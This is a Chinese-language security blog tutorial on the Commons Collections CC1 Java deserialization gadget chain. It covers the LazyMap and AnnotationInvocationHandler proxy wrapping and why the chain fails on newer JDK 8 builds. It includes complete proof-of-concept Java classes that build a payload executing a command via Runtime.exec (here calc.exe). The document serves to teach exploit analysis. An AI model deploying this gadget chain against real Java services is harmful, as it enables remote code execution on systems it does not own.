0x00 前言
之前在Java反序列化之CC1其一一文之中,我们花了很大的篇幅来讲解Payload的构造,最后由于篇幅的影响,还剩下“利用LazyMap的包装”和“高版本JDK1.8下Payload为何失效”没有讲。
本篇包含以下元素:
- LazyMap的包装
- 高版本下JDK1.8下(貌似是 8u71之后 )Payload为何失效 (如何使其有效将在学习了后面的CC链之后补充)
0x01 层层包装
在上一文中,我们已经花了很多功夫来讲ChainedTransformer链的构造,如果看不懂,就只有记了,🤣,毕竟我自己理过一遍之后,也不能保证顺滑的写出来。所以这里关于构造就不再重复讲解了,下一步我们就是应该找到更容易被调用的类来包装ChainedTransformer。思路有两个,一个是TransformedMap,已经讲过,另外一个是LazyMap, 这两个都间接继承了Map,所以更加容易有调用,另外都是可序列化的。
LazyMap
在org/apache/commons/collections/map/LazyMap.java的get函数中,我们可以看到有transform函数的调用:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
所以我们下一步就是这个factory是否可控。看一下LazyMap的构造函数:
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}
可控,但是构造函数时protected,不可以直接被外部调用,但是没事,这里有decorate函数,而且参数就是 Transformer类型:
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
所以,我们能通过如下的方式,把ChainedTransformer包装成LazyMap,并通过get调用触发:
public class Lazy1 {
public static void main(String[] args){
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class },
new Object[] {"calc.exe"})
};
//create chain
Transformer transformerChain = new ChainedTransformer(transformers);
//LazyMap
HashMap hashMap = new HashMap();
LazyMap lazyM = (LazyMap) LazyMap.decorate(hashMap, transformerChain);
//poc
lazyM.get("foo");
}
}
AnnotationInvocationHandler
上面虽然包装得不再需要调用transform,并且由于LazyMap实际上间接继承了Map类,在开发者开发的时候,很有可能调用HashMap进行get,进而触发调用链,但是依旧是不太完美,所以我们得找一个重写了readObject的可序列化类来再次包装一下,依然是像第一篇文章中那样选择了sun.reflect.annotation.AnnotationInvocationHandler,在其invoke函数中有调用get方法:
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
//省略
}
这个invoke是InvocationHandler接口的实现,熟悉Java的人应该就知道,这是用来动态代理的。当对某个对象使用Proxy.newProxyInstance进行动态代理并传入有实现invoke的相应hanlder对象(比如这里的AnnotationInvocationHandler),当调用方法时,就会跳转到这个handler对象的invoke方法。接着我们再来看下这个this.memberValues是否可控并能设置为LazyMap,查看构造函数:
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
发现 this.memberValues是等于var2,而var2正是Map类型,所以是完成可控的。只是这个构造函数是默认类型,在外部不能调用,但是我们可以用反射调用来获取,所以问题不大。到这里似乎快结束了,但是我们先不要急,先来看他重写的readObject:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
一个我之前没注意到的事是,所有重写的readObject、writeObject好像都是private属性,之所以能够调用,是因为Stream中会采用反射的方式来调用。
可以看到里面有个Iterator var4 = this.memberValues.entrySet().iterator();
,而我们在上面说过,对一个对象动态代理后,当调用方法时,会调用传入的handler的invoke方法,我们这里的this.memberValues是可控的并设置为LazyMap,当调用entrySet()时,如果有动态代理,则会触发invoke。
所以,到这里已经很明显了,就是要把一个AnnotationInvocationHandler对象作为LazyMap动态代理的handler,最后再把代理后的LazyMap再赋值给一个新的Ann…Handler,最后我们可以构造payload如下:
值得注意的是,这里有两个Anno…Handler对象,一个对象的memberValues的值为LazyMap,另一对象的memberValues值是代理后的LazyMap,暂且叫做ProxyLazyM吧,所以不要忘了给两个Anno…Handler对象的memberValues赋值,更不要赋值错了(之所以提一嘴,是因为一个懒狗自己写错了,然后找了好久的问题。
public class Lazy2 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class },
new Object[] {"calc.exe"})
};
//create chain
Transformer transformerChain = new ChainedTransformer(transformers);
//LazyMap
HashMap hashMap = new HashMap();
LazyMap lazyM = (LazyMap) LazyMap.decorate(hashMap, transformerChain);
//get AnnotationInvocationHandler
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
//get Proxy handler and the handler's memberValues need to be lazyM
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Retention.class, lazyM);
//set the handler for lazyM
Map proxyLazyM = (Map) Proxy.newProxyInstance(lazyM.getClass().getClassLoader(), lazyM.getClass().getInterfaces(),handler);
//set the memberValues to proxyLazyM
Object payload = ctor.newInstance(Retention.class, proxyLazyM);
}
}
0x02 高版本JDK1.8下为何失效
其实也没有什么好讲的,是因为重写了Anno…Handler的,省略版的代码如下:
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
LinkedHashMap var7 = new LinkedHashMap();
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
//略
可以看到变化不大,就是原来的var1.defaultReadObject变成了readFields,然后不是直接调用的this.memberValues,而是通过get获取到memberValues。不过依然有entrySet().iterator(),看着好像还是可以成功触发,然而调试就会发现问题。(说不清,道不明,Java基础太差,网上也没找到谁仔细分析一下这点,只说重写了readObject)
LazyMap
调试发现,还是可以进入到invoke中的get处,只是之前的this.memberValues.get()中的memberValues是LazyMap类型,而这里不知道为什么变成了LinkedHashMap。
TransformedMap
对于这条链,因为后面的操作没有进行put或者setValue,所以并不能触发。
讲了和没讲似的,希望有大佬能赐教一下
0x03 参考
因为有了java反序列化之CC1其一的基础,所以本文就在无参考的情况下写了。